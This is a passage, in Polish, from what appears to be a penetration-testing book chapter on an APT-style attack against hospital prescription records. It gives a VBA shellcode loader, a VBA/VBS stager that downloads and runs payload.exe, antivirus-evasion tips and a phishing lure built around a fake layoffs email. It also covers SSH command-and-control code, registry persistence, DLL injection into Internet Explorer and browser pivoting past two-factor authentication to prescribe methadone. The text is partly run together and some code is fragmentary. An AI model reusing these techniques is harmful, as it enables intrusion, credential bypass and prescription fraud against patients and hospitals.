czasie wykonywania programu, ale ten za-bieg również nie redukuje liczby wykryć na tyle znacząco, aby warto było zaprzątać sobie tym głowę.
Następny blok kodu zawiera wywołania omawianych funkcji:
Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40) For Rxnffhltx = LBound(Wizksxyu) To UBound(Wizksxyu) Hdhskh = Wizksxyu(Rxnffhltx) Svfb = RtlMoveMemory(Qgsztm + Rxnffhltx, Hdhskh,Next Rxnffhltx Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)
Nie ma co się nad tym rozwodzić. Wystarczy tylko powiedzieć, że funkcje VirtualAlloc, RtlMoveMemory i CreateThread zawsze są podejrzane i zaalarmują każdy program antywirusowy bezwzględu na to, jak nieszkodliwa jest pozostała część naszego kodu. Zostaną oznaczone jako groźne,nawet jeśli nie będzie im towarzyszył żaden shellcode.
Poleć książkęKup książkę
40 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
Automatyczne wykonywanie koduNa koniec chciałbym jeszcze odnieść się do tego, jak niefrasobliwie niektórzy wykorzystują funkcjęautomatycznego otwierania. Jest to funkcja, która powoduje wykonanie makra natychmiast potym, jak użytkownik zgodzi się na włączenie tej treści. Można to zrobić na trzy sposoby w zależno-ści od tego, czy makro działa w dokumencie Worda, arkuszu kalkulacyjnym Excela, czy skoroszycieExcela. W przedstawionym kodzie zostały użyte wszystkie trzy metody, aby zapewnić jego wykona-nie niezależnie od tego, do jakiej aplikacji zostanie wklejony. Ale takie działanie również nie mażadnego uzasadnienia z perspektywy legalnego programu. Twórca makra powinien wiedzieć, dlajakiego środowiska tworzy skrypt.
Domyślna podprocedura jest wywoływana przez Worda i zawiera nasz ładunek:
Sub Auto_Open Główny blok koduEnd Sub
Dwie pozostałe funkcje wywołuje Excel, a ich jedynym zadaniem jest wywołanie funkcji Auto_OpenWorda.
Sub AutoOpen() Auto_OpenEnd Sub
iSub Workbook_Open() Auto_OpenEnd Sub
Już jedna procedura automatycznego otwierania budzi podejrzenia, a co dopiero mówić o trzech.Wystarczy więc usunąć dwa ostatnie wywołania funkcji Worda, aby obniżyć wykrywalność przezprogramy antywirusowe. Pozbycie się trzeciej daje jeszcze lepszy rezultat.
W VBA dostępne są macierzyste funkcje, za pomocą których napastnik może pobrać i wykonaćkod z internetu (na przykład Shell i URLDownLoadToFile), ale z ich użyciem wiążą się takie sameniedogodności jak z poprzednimi — są podejrzane i na pewno wywołają alarm.
Krótko mówiąc, systemy wykrywania wirusów i innych szkodliwych programów mają bardzoograniczone zaufanie do makr pakietu MS Offce, które od lat są wykorzystywane przez napastnikówdo dostarczania ładunków do komputerów potencjalnych ofiar. Dlatego aby odnieść sukces, musimywykazać nieco inwencji. A gdybym Ci powiedział, że istnieje sposób na zainstalowanie pakietu atakuna dysku i wykonanie go bez używania shellcode’u ani aktywnego pobierania i wykonywania koduza pomocą VBA?
Użycie podwójnego stagera VBA/VBSNurtujący nas problem możemy rozwiązać, dzieląc stager na dwie części. Tu do akcji wkraczaWindows Scripting Host — środowisko wykonujące skrypty, które także oparte są na bazie językaVisual Basic. Podczas gdy język VBA jest używany tylko w dokumentach pakietu Office, VBS jestsamodzielnym językiem skryptowym, podobnie jak Python czy Ruby. Służy do wykonywania znacznie
Poleć książkęKup książkę
Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 41
bardziej zaawansowanych zadań niż automatyzacja funkcjonalności dokumentów MS Office. Dlategoteż programy antywirusowe pozostawiają mu znacznie szersze pole do działania. Tak jak VBA VBSjest językiem interpretowanym, a więc nie wymaga kompilacji, a napisany w nim kod można wywołaćze zwykłego pliku tekstowego. Zatem doskonałym rozwiązaniem jest napisanie pozornie niewinnegomakra w VBA zawierającego ładunek w postaci kodu VBS, który zapisuje do pliku, po czym go wyko-nuje. Newralgiczne instrukcje zostaną wykonane dopiero przez ten kod VBS. Wprawdzie w tymprzypadku również konieczne będzie użycie funkcji powłoki w VBA, ale nie do wykonania podej-rzanego czy nieznanego kodu, tylko w związku ze środowiskiem Windows Scripting Host, którejest integralną częścią systemu operacyjnego. Mówiąc krótko, potrzebujemy więc dwóch skryptów— jednego w VBA, a drugiego w VBS — z których oba przejdą kontrolę antywirusową. Podproceduraw makrze VBA powinna wyglądać mniej więcej tak:
Sub WritePayload() Dim PayLoadFile As Integer Dim FilePath As String FilePath = "C:\temp\payload.vbs" PayloadFile = FreeFile Open FilePath For Output As TextFile Print #PayLoadFile, "Pierwszy wiersz skryptu VBS." Print #PayLoadFile, "Drugi wiersz skryptu VBS." Print #PayLoadFile, "Trzeci wiersz skryptu VBS." Print #PayLoadFile, "Czwarty wiersz skryptu VBS." Close PayloadFile Shell "wscript c:\temp\payload.vbs"End Sub
Staraj się pisać jak najbardziej ogólny kodNie mam tu na myśli żadnych skomplikowanych rzeczy. Nawiasem mówiąc, słowo payload (ładunek)jest używane tylko w ramach przykładu i nie powinno go być w prawdziwym kodzie. Dodatkowązaletą niespecyficznego kodu jest to, że będzie wymagał tylko drobnych modyfikacji, w razie gdyby-śmy zdecydowali się przenieść atak z platformy Windows na macOS.
Jeśli chodzi o sam kod VBS, poniższy skrypt należy wstawić do instrukcji print i mamy gotowyatak. Sposób ten wymyśliłem na potrzeby przykładu, ale tak naprawdę jest tyle metod, ilu programistów:
HTTPDownload "http://www.wherever.com/files/payload.exe", "C:\temp" Sub HTTPDownload( myURL, myPath ) Dim i, objFile, objFSO, objHTTP, strFile, strMsg Const ForReading = 1, ForWriting = 2, ForAppending = 8 Set objFSO = CreateObject( "Scripting.FileSystemObject" ) If objFSO.FolderExists( myPath ) Then strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\") - 1 ) ) Then strFile = myPath End If Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) objHTTP.Open "GET", myURL, False objHTTP.Send
Poleć książkęKup książkę
42 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
For i = 1 To LenB( objHTTP.ResponseBody ) objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) Next objFile.Close( ) Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "c:\temp\payload.exe" End Sub
Oczywiście każdy, kto przeczyta ten kod VBA, szybko domyśli się jego przeznaczenia, dlategow prawdziwym ataku przydałoby się jeszcze go trochę zaciemnić. Poza tym nie trzeba stosować ażtak skomplikowanych sztuczek, aby pobrać i wykonać plik wykonywalny. Za pomocą poleceń po-włoki można wywoływać różne narzędzia dostępne w systemie Windows, dzięki czemu całą operacjęmożna przeprowadzić przy użyciu jednego polecenia (pokazuję nawet, jak się to robi, w rozdziale 5.,w podrozdziale „Powrót do VBA — alternatywne wektory ataku przez wiersz poleceń”), ale chciałemznaleźć jakieś uzasadnienie dla użycia skryptu VBA do podrzucenia skryptu VBS.
Zaciemnianie koduJest kilka metod zaciemniania kodu. Na potrzeby tego ćwiczenia treść ładunku moglibyśmy zakodo-wać algorytmem Base64, a następnie moglibyśmy ją dekodować bezpośrednio przed zapisem w plikudocelowym. To prymitywna technika, ale dobrze obrazuje, co chcę pokazać. Kiedy atak za pośred-nictwem makra zostanie wykryty przez człowieka, a nie program antywirusowy i przeprowadzi onfachową analizę znaleziska, to żadne zaciemnianie nie pomoże nam ukryć prawdziwych intencjinaszego kodu.
Jeśli chcesz, możesz ten kod jeszcze dodatkowo pogmatwać (na przykład za pomocą funkcji XOR).Sam zdecyduj, jak daleko chcesz się w tym zakresie posunąć, choć nie polecam stosowania płatnychrozwiązań wymagających dołączania do dokumentu zewnętrznych bibliotek, ponieważ z pewnościązostaną one wykryte przez antywirus.
Dodajmy zatem drugą część naszego ataku do pierwszego makra VBA i zobaczmy, co na to„powiedzą” programy antywirusowe. Tak jak poprzednio skorzystamy z usług portalu VirusTotal— rysunek 1.7.
Rysunek 1.7. Bardzo skryty ładunek
Już jest lepiej, ale co się stanie z ładunkiem VBS, gdy tylko wyląduje na dysku? Spójrz na rysu-nek 1.8.
Poleć książkęKup książkę
Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 43
Rysunek 1.8. Nie, Qihoo-360 nie jest Świętym Graalem wśród programów antywirusowych
Ho, ho. Zostaliśmy wykryci przez antywirus Qihoo-360. To chiński skaner, który podobno cieszysię zaufaniem aż pół miliarda użytkowników. Ja też pierwsze o nim słyszę. Oznaczył nasz kod jakowirus virus.vbs.gen.33, czyli po prostu stwierdził, że jeśli to plik VBS, to zostanie uznany za szkodliwy.Istnieje niewielkie ryzyko, że kiedyś wpadniemy w sidła tego antywirusa, ale wówczas możemy miećz tym problem.
Do tej pory jeszcze nie zaimplementowaliśmy żadnego mechanizmu wykonywania kodu w chwiliotwarcia dokumentu przez użytkownika.
Kuszenie użytkownikówZ opisanych wcześniej powodów nie lubię używać funkcji automatycznego otwierania. Poza tymuważam, że jeśli użytkownik jest na tyle zdeterminowany, że pozwala w ogóle na uruchomieniemakr w otwieranym dokumencie, to można się spodziewać, że będzie chciał w nim zrobić coś wię-cej, a nie tylko go otworzyć. Jeśli chodzi o nasz atak, spreparowany przez nas plik programu MicrosoftWord bezpośrednio po otwarciu będzie wyglądał tak, jak widać na rysunku 1.9.
Rysunek 1.9. Pusty dokument zawierający makro
Poleć książkęKup książkę
44 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
Niezbyt to przekonujące, prawda? Pusty dokument proszący o kliknięcie przycisku i prezentu-jący napis OSTRZEŻENIE O ZABEZPIECZENIACH nie wygląda zachęcająco. Taka przestroga jestwyświetlana w każdym pliku zawierającym makra bez względu na to, czy są one cyfrowo podpisane,czy nie. Użytkowników nuży już ciągła konieczność klikania tego przycisku, więc do rozwiązaniapozostały nam dwa problemy: jak skłonić użytkownika do wykonania naszego kodu oraz jak spre-parować dokument zachęcający do interakcji. Pierwsza kwestia jest natury technicznej, a druga tozagadnienie z dziedziny inżynierii społecznej. Jeśli napiszemy przekonującą wiadomość e-mail (lubinną), to mamy dużą szansę na powodzenie nawet podczas ataku na cele o wysokiej świadomościw zakresie bezpieczeństwa teleinformatycznego.
W księgarniach można znaleźć bardzo dobre książki na temat inżynierii społecznej. Godne polece-nia są na przykład Sztuka podstępu. Łamałem ludzi, nie hasła Kevina Mitnicka (Helion, 2003) i So-cjotechnika. Sztuka zdobywania władzy nad umysłami Chrisa Hadnagy’ego (Onepress, 2012).
Zastanówmy się więc nad tym, co może zachęcić użytkownika do używania naszego dokumentu.Jedną ze szczególnie skutecznych przynęt w nakłanianiu użytkowników do otwierania dokumen-
tów i używania zawartych w nich makr jest — nawet jeśli podświadomość aż krzyczy, że to błąd —zasugerowanie, że dana informacja trafiła do nich przez przypadek. Nie powinni się o tym dowiedzieć.Jest to coś, dzięki czemu mogliby odnieść pewne korzyści, a wiele stracić, jeśli to zignorują.
Funkcja automatycznego uzupełniania adresów w klientach e-mail niejednemu spłatała figla, po-wodując wysłanie wiadomości do niewłaściwej osoby, i chyba każdy kiedyś dostał e-maila, który miałtrafić do kogoś innego. Po prostu takie rzeczy się zdarzają. Spójrz na poniższą wiadomość e-mail,która „jest przeznaczona dla” Jana Kowalskiego z działu HR, ale przez przypadek trafiła do dr. Ja-na Kowalczyka:
Do: dr Jan KowalczykOd: dr Marzena SkłodowskaTemat: POUFNE: druga tura zwolnień grupowychJanie,Załączam najnowszą listę proponowanych redukcji w moim zespole w dziale intensywnejopieki. Niechętnie pozbywam się swoich pracowników, ponieważ mamy dużo pracy, alezałączona lista może być punktem wyjściowym do dalszej dyskusji – będę w biurze w piątek,więc proszę o odpowiedź przed tym terminem.Pozdrawiam,MarzenaPS. Dokument jest zabezpieczony zgodnie z wytycznymi szpitala. Hasło dostępu to „arkham”.
To wyjątkowo paskudny rodzaj przynęty. Dr Kowalczyk na pewno już się zastanawia, czy teżznalazł się na tej liście osób do zwolnienia.
Do wiadomości dołączony jest nasz dokument z makrem — rysunek 1.10.
Rysunek 1.10. To jest trochę bardziej przekonujące
Poleć książkęKup książkę
Dowodzenie i kontrola, część I: podstawy 45
Teraz dodamy do dokumentu pole tekstowe i przycisk, które zostaną wyświetlone, gdy użytkownikotworzy dokument i włączy makra. Z przyciskiem powiążemy kod wysyłający do komputera ofiaryskrypt VBS, który będzie uruchamiany w chwili naciśnięcia tego przycisku i niezależnie od tego, coużytkownik wpisze w polu tekstowym. Potem zostanie wyświetlone okienko z informacją o tym, żepodane hasło jest nieprawidłowe, także bez względu na to, co wpisał użytkownik.
Dodatkową zaletą takiej konstrukcji ataku jest to, że (przy założeniu, że alarm nie zostanie podnie-siony w żaden inny sposób, na przykład przez program antywirusowy) ofiara prawdopodobnie ni-komu nie zgłosi tego zdarzenia, ponieważ nie zechce się przyznać, że otworzyła poufny dokumentprzeznaczony dla kogoś innego.
Aby przypisać polecenie lub makro do przycisku i wstawić przycisk do tekstu, ustaw kursor w wy-branym miejscu i wykonaj następujące czynności:
1. Naciśnij klawisze Ctrl+F9, aby dodać pole. 2. W klamrze, która się pojawi, wpisz MacroButton, następnie dodaj nazwę polecenialub makra, które chcesz uruchamiać za pomocą przycisku.
3. Wpisz tekst, który ma zostać wyświetlony, lub wstaw obraz mający służyć jako ikonaprzycisku.
4. Naciśnij klawisz F9, aby zaktualizować pole.
Na końcu podprocedury WritePayload() możesz ewentualnie dodać poniższy wiersz kodu:
MsgBox "Nieprawidłowe hasło. Jeśli sytuacja na koncie użytkownika " & (Environ$("Username")) &" będzie się powtarzać, zostanie powiadomiony dział bezpieczeństwa IT."
Ten kod spowoduje wyświetlenie okienka podszywającego się pod informację bezpieczeństwa.Dodatek nazwy użytkownika w tekście stanowi element personalizacji, który może zaważyć na po-wodzeniu lub braku powodzenia operacji wysyłania ładunku na komputer ofiary.
Dowodzenie i kontrola, część I: podstawyPo dokonaniu wyboru sposobu dostarczenia ładunku na komputer ofiary czas poważnie się zastano-wić, co to w ogóle ma być. W tym podrozdziale opisuję absolutnie minimum potrzebne do budowyinfrastruktury dowodzenia i kontroli (ang. Command and Control — C2). W każdym kolejnym roz-dziale będę wracał do tego systemu, będę go ulepszał i będę dodawał do niego nowe funkcje, abyostatecznie pokazać najważniejsze składniki systemu dowodzenia i kontroli potrzebne do prze-prowadzenia długoterminowego ataku APT po udanej wstępnej penetracji systemu ofiary. W tymrozdziale na razie skupiam się jednak tylko na podstawach. Poniżej znajduje się lista podstawowychfunkcji, które musi mieć nawet najprostszy system dowodzenia i kontroli wdrożony u ofiary:
Łączność wychodząca — system powinien mieć możliwość nawiązywania połączeniainternetowego z serwerem C2 w sposób minimalizujący wykrycie przez zaporę sieciową.
Dyskrecja — system nie może zostać wykryty przez hosta ani sieciowe systemy detekcjiintruzów (ang. Intrusion Detection Systems — IDS).
Poleć książkęKup książkę
46 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
Dostęp do zdalnego systemu plików — funkcja kopiowania plików do i z komputera ofiaryjest absolutnie niezbędna.
Zdalne wydawanie poleceń — musimy mieć możliwość zdalnego wykonywania kodulub wydawania poleceń na komputerze, do którego się włamaliśmy.
Bezpieczna komunikacja — cały ruch między sforsowanym hostem i serwerem C2musi być zaszyfrowany wysokiej jakości algorytmem.
Trwałość — ładunek musi być w stanie przetrwać restart komputera. Przekierowywanie portów — musimy mieć możliwość dwukierunkowego kierowania
ruchem przez sforsowanego hosta. Wątek kontroli — jeśli dojdzie do zerwania połączenia z serwerem C2 z powodu tymczasowej
niedostępności sieci lub w innej sytuacji, musimy mieć możliwość ponownego nawiązaniatego połączenia.
Najszybszym, najprostszym i najbardziej poruszającym wyobraźnię sposobem budowy z mo-dułów takiej infrastruktury, która przetrwa próbę czasu, jest posłużenie się bezpiecznym i niezwyklewszechstronnym protokołem SSH. Infrastrukturę podzielimy na dwie części — serwer C2 i ładunekwysyłany do ofiary. Poniżej znajduje się lista technicznych warunków, jakie muszą spełniać te składniki.
Serwer C2 Obsługa połączeń SSH na porcie TCP 443 Środowisko chroot jail do uruchomienia serwera SSH Modyfikacja konfiguracji SSH, aby zezwolić na tunelowe nawiązywanie połączeń przez SSH
Ładunek Implementacja serwera SSH na niestandardowym porcie TCP Implementacja klienta SSH mającego możliwość łączenia się z serwerem C2 Implementacja tuneli SSH (zarówno lokalnych, jak i dynamicznych) na kliencie SSH
zapewniających serwerowi C2 dostęp do docelowego systemu plików i procesów
Do implementacji wymagań dotyczących ładunku gorąco polecam użycie biblioteki libssh(https://www.libssh.org/) w języku C. Przy jej użyciu można pisać bardzo zwięzły kod zapewniającyszerokie spektrum możliwości. Ponadto biblioteka ta radykalnie skraca czas programowania. A po-nieważ jest dostępna dla wielu różnych platform, można jej używać do tworzenia ładunków, którebędą wymagały tylko drobnych modyfikacji, aby dostosować je do potrzeb systemu Windows, macOS,Linux lub Unix. W ramach przykładu ilustrującego, jak szybko i łatwo pracuje się z bibliotekąlibssh, poniżej przedstawiam implementację serwera SSH działającego na porcie TCP 900. Tenprogram wystarczy do ustanowienia uwierzytelnionej sesji klienta SSH (używającego raczej nazwyużytkownika i hasła, a nie klucza publicznego):
#include <libssh/libssh.h> #include <stdlib.h> #include <stdio.h> #include <windows.h>
Poleć książkęKup książkę
Dowodzenie i kontrola, część I: podstawy 47
int main(){ ssh_session my_ssh_session;int rc; char *password; my_ssh_session = ssh_new(); if (my_ssh_session == NULL)exit(-1); ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, "c2host"); ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, 443); ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, "c2user"); rc = ssh_connect(my_ssh_session); if (verify_knownhost(my_ssh_session) < 0) { ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); exit(-1); } password = ("Password"); rc = ssh_userauth_password(my_ssh_session, NULL, password); ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); }To z kolei jest bardzo prosta instancja serwera SSH:
#include "config.h" #include <libssh/libssh.h> #include <libssh/server.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <windows.h> static int auth_password(char *user, char *password){ if(strcmp(user,"c2payload")) return 0; if(strcmp(password,"c2payload")) return 0;return 1; } ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_BINDPORT_STR, 900) return 0} int main(){ sshbind=ssh_bind_new(); session=ssh_new(); ssh_disconnect(session); ssh_bind_free(sshbind); ssh_finalize(); return 0;}
Na koniec można utworzyć odwrotny tunel:
rc = ssh_channel_listen_forward(session, NULL, 1080, NULL);channel = ssh_channel_accept_forward(session, 200, &port);
Biblioteka libssh ma wbudowane procedury obsługi wyjątków pozwalające monitorować stanpołączeń.
Poleć książkęKup książkę
48 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
Jedyna z wymienionych wcześniej funkcji, której jeszcze nie mamy, to trwałość. Jest wiele sposo-bów na zadekowanie ładunku w systemach Microsoft Windows, ale szczegóły podaję dopiero w na-stępnym rozdziale. Teraz tylko przedstawiam prosty przykład. Nie polecam stosowania tej metodyw prawdziwych zleceniach, ponieważ praktycznie w żadnym stopniu nie zapewnia dyskrecji. Poniżejznajduje się kod w języku C do wykonania:
char command[100]; strcpy( command, " reg.exe add"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "Innoce" );system(command);
Obraz jest więcej wart niż tysiąc słów, więc spójrz na rysunek 1.11.
Rysunek 1.11. Schemat podstawowej infrastruktury dowodzenia i kontroli
Dysponując zdalnym przekierowanym portem, mamy takie same uprawnienia do działania w sfor-sowanym hoście jak proces użytkownika, który włączył makro VBA. Za pomocą SFTP i protokołuSSH możemy uzyskać dostęp do systemu plików. Aby nasz ładunek uruchomił zdalne tunele, do pliku/etc/ssh/sshd.config na hoście C2 należy dodać następujące dwa wiersze kodu:
Match User c2userGatewayPorts yes
Ta infrastruktura ma kilka poważnych wad. Wymaga utrzymywania ciągłego połączenia międzyładunkiem i serwerem C2, który jest w stanie obsłużyć tylko jedno połączenie (zdalny tunel), przez comoże współpracować tylko z jednym sforsowanym hostem. Ładunek nie ma wbudowanych żadnychmechanizmów autonomii czy inteligencji pozwalających obsłużyć choćby najprostsze nietypoweprzypadki, takie jak potrzeba stworzenia tunelu przez serwer proxy. Jeśli jednak dotrwasz do końcatej książki, zostaniesz nagrodzony nowiutką i lśniącą inteligentną oraz dyskretną infrastrukturą C2.
Poleć książkęKup książkę
Atak 49
AtakWiemy już, jak zbudować i dostarczyć do komputera ofiary swój ładunek kodu, który zapewninam zdalny dostęp do docelowej stacji roboczej, choć w bardzo prymitywny sposób i w ograniczo-nym zakresie. Mimo to nasz podstawowy cel się nie zmienił, a jest nim dodanie lub zmodyfikowaniedokumentacji pacjentów w rubrykach dotyczących recept na leki.
Dla przypomnienia, cel naszego ataku używa przeglądarki Microsoft Internet Explorer (IE), zapomocą której loguje się w aplikacji sieciowej Pharmattix. Aplikacja ta obsługuje tylko tę jednąprzeglądarkę. Moglibyśmy podrzucić rejestrator naciskanych klawiszy (ang. key logger), aby przejąćdane uwierzytelniające lekarza, ale to nie rozwiązałoby problemu z dwuetapowym uwierzytelnianiem.Nazwa użytkownika i hasło to tylko połowa tego, czego potrzebujemy. Druga połowa to karta dostępudo medycznej bazy danych, którą trzeba mieć przy sobie podczas logowania. Teoretycznie moglibyśmyzaczaić się przy szpitalu na lekarza, napaść go i ukraść mu portfel (karty z kodami wygodnie mieszcząsię w portfelu), ale takie zdarzenie nie pozostałoby niezauważone, a poza tym klient, który zleciłnam przeprowadzenie modelowania ataku APT, też pewnie miałby obiekcje co do takich metoddziałania.
Omijanie uwierzytelnianiaA gdybyśmy tak mogli całkowicie obejść wszystkie mechanizmy uwierzytelniania? Możemy! Istniejetechnika o nazwie browser pivoting (obracanie przeglądarki), która polega na wykorzystaniu do-stępu do docelowej stacji roboczej w celu odziedziczenia uprawnień z przeglądarki lekarza i prze-prowadzenia swoich operacji w niewidoczny sposób.
Do przeprowadzenia takiego ataku potrzebne jest spełnienie trzech warunków: Musimy wstrzyknąć kod do procesu IE korzystającego z bazy danych medycznych. Musimy utworzyć serwer proxy w postaci biblioteki DLL (ang. Dynamic Link Library)
opartej na API Microsoft WinInet. Musimy znaleźć sposób na skierowanie ruchu sieciowego przez nasz tunel SSH, a następnie
do nowo utworzonego serwera proxy.
Przyjrzymy się tym trzem etapom po kolei. Żaden z nich nie jest tak trudny do realizacji, jak sięmoże początkowo wydawać.
Etap 1: wstrzyknięcie kodu DLLWstrzyknięcie kodu DLL to czynność polegająca na wstawieniu kodu do istniejącego (aktywnego) proce-su (programu). Najprostszym sposobem jest użycie funkcji LoadLibraryA() z biblioteki kernel32.dll. Jejwywołanie praktycznie wszystko załatwia, czyli wstawia i wykonuje DLL. Jest tylko taki problem, żeta funkcja zarejestruje naszą bibliotekę w procesie docelowym, co od razu zaalarmuje programyantywirusowe (w szczególności w tak ściśle monitorowanym środowisku jak Internet Explorer).
Są jednak lepsze sposoby. Zastosujemy technikę, którą można podzielić na cztery zasadnicze etapy:
Poleć książkęKup książkę
50 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
1. Dołączenie się do docelowego procesu (w tym przypadku do Internet Explorera). 2. Alokacja pamięci w tym procesie. 3. Skopiowanie biblioteki DLL do pamięci docelowego procesu i obliczenie odpowiedniegoadresu w tej pamięci.
4. Nakazanie docelowemu procesowi wykonania naszego kodu.
Każdy z tych kroków jest dobrze opisany w API Windows.
Łączenie się z procesem
hHandle = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
Alokacja pamięci
PROCESS_VM_OPERATION |PROCESS_VM_WRITE |PROCESS_VM_READ,FALSE,procID );
Alokacja pamięci
GetFullPathName(TEXT("proxy.dll"),BUFSIZE,dllPath,NULL);hFile = CreateFileA( dllPath,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL );dllFileLength = GetFileSize( hFile,NULL );remoteDllAddr = VirtualAllocEx( hProcess,NULL,dllFileLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE );
Wstawienie pliku DLL i obliczenie adresu w pamięci
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dllFileLength);ReadFile( hFile, lpBuffer, dllFileLength, &dwBytesRead, NULL );
Poleć książkęKup książkę
Atak 51
WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dllFileLength, NULL );dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);
Uruchomienie kodu proxy DLL
rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0,lpStartExecAddr, lpExecParam, 0, NULL);WaitForSingleObject(rThread, INFINITE);
Zalecam zapoznanie się z tym funkcjami API, ponieważ umiejętność przenoszenia kodu mię-dzy procesami jest podstawą w zawodzie testera wykonującego modelowanie ataków APT i jest wielesytuacji, w których ta umiejętność może się przydać, choćby na przykład gdy trzeba obejść białą listęprocesów albo przenieść atak do innej architektury bądź też zwiększyć sobie uprawnienia. Powiedzmyna przykład, że chcemy skraść dane do logowania do systemu Windows. W takim przypadku mo-żemy wstrzyknąć do procesu WinLogon rejestrator naciskanych klawiszy. Później pokazuję też, jakpodobne techniki zastosować w systemach uniksowych. Pamiętaj też, że jeśli nie chcesz przygotowy-wać własnego ataku, możesz skorzystać z licznych gotowych ataków polegających na wstrzykiwa-niu kodu do procesów. Taką funkcję ma też środowisko Metasploit, którego zalety i wady opisujęw następnych rozdziałach.
Etap 2: tworzenie biblioteki DLL proxy na podstawie API WinInetWiemy już, co trzeba zrobić, aby wstawić kod do procesu IE, więc teraz musimy się zastanowić, cotam wyślemy i dlaczego.
Przeglądarka Internet Explorer używa API WinInet tylko do obsługi wszystkich swoich proce-sów komunikacyjnych. Nie jest to zaskakujące, jeśli weźmie się pod uwagę fakt, że mowa o dwóchsztandarowych technologiach Microsoftu. Z API WinInet może korzystać każdy program, aby naprzykład zarządzać ciasteczkami i sesją, procesami uwierzytelniania itd. Interfejs ten ma wszystkiefunkcje potrzebne do implementacji przeglądarki internetowej lub podobnej technologii, takiej jakproxy HTTP. Jako że WinInet transparentnie obsługuje uwierzytelnianie w pojedynczych procesach,to jeżeli uda nam się wstrzyknąć własny serwer proxy do docelowego procesu IE i skierować naszruch sieciowy przez ten serwer, odziedziczymy stany sesji tej aplikacji. Dotyczy to także sesji uwie-rzytelnionych za pomocą mechanizmu dwuetapowego.
IMPLEMENTACJA FUNKCJONALNOŚCI SERWERA PROXY
Budowa serwera proxy to zbyt daleko idąca dygresja w stosunku do tematu tej książki,ale zawsze można kupić taki serwer od jednego z licznych producentów tego typu opro-gramowania. Serwery te są zaimplementowane wyłącznie przy użyciu API WinInet, którymożna zintegrować zgodnie ze swoimi potrzebami.
Poleć książkęKup książkę
52 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
Etap 3: użycie wstrzykniętego serwera proxyPrzyjmując, że wszystkie poprzednie czynności poszły nam jak z płatka, mamy już serwer proxyHTTP uruchomiony na docelowej maszynie (powiedzmy, że działa na porcie TCP 1234) i ograni-czony do lokalnego interfejsu Ethernet. Jako że nasza infrastruktura dowodzenia i kontroli nie jestjeszcze na tyle zaawansowana, abyśmy przy jej użyciu mogli „w locie” otwierać zdalne tunele, musimywbudować dodatkowy tunel w nasz ładunek kodu. Na razie naszym jedynym tunelem prowadzącymdo docelowej maszyny jest tunel zapewniający dostęp do serwera SSH. Potrzebujemy jeszcze zdal-nego tunelu wskazującego port w stacji docelowej 1234 i tworzącego punkt końcowy (powiedzmy,że port TCP 4321) na naszym serwerze C2. Powinno to wyglądać tak, jak widać na rysunku 1.12.
Rysunek 1.12. Kompletny atak z dostępem do dokumentacji medycznej
W tym momencie możemy już dodawać nowych pacjentów i przepisywać im leki, kiedy tylkochcą. Do pobrania leków z apteki nie jest potrzebny żaden identyfikator, ponieważ należy go okazaćjedynie podczas tworzenia konta. To oczywiście tylko pole do zaznaczenia, jeśli chodzi o bazę danych.W aptece przed wydaniem metadonu spytają tylko o datę urodzenia.
„Nie ma żadnej chmury, są tylko cudze komputery”
— autor nieznany
Poleć książkęKup książkę
Podsumowanie 53
PodsumowanieW tym rozdziale pokazałem Ci, jak za pomocą skryptów VBA i VBS podrzucić do komputera ofiaryładunek współpracujący z systemem dowodzenia i kontroli. Pokazałem Ci, jak po umieszczeniu swoje-go kodu źródłowego we właściwym miejscu zinfiltrować proces Internet Explorera i obejść dwu-etapowe uwierzytelnianie bez potrzeby zdobywania nazw użytkowników, haseł ani uzyskiwaniadostępu do fizycznych tokenów.
Należy podkreślić, że wiele osób uważa ataki z użyciem makr za technikę z dawnych lat 90.ubiegłego wieku, która dawno odeszła już do lamusa. W rzeczywistości jednak makra wciąż są żywe,tylko po prostu przez pewien czas istniały łatwiejsze sposoby na dostanie się do docelowych kom-puterów niż posługiwanie się makrami (lepiej było na przykład wykorzystać technologię AdobeFlash). W miarę jak takie ataki coraz rzadziej kończą się powodzeniem, na nowo można zauważyćodrodzenie popularności makr Office’a.
Jaki jest morał z tego rozdziału? Po pierwsze: makra — kiedy ostatni raz widziałeś takie, bezktórego nie byłeś w stanie wykonać swojej pracy? Jeśli ktoś próbuje na wszelkie sposoby zachęcićCię do kliknięcia tego przycisku z napisem Włącz, to prawdopodobnie ma niecne zamiary. W ogólemakra są podejrzane. Zwrotny adres e-mail nie jest żadną wskazówką na temat tożsamości nadawcy.
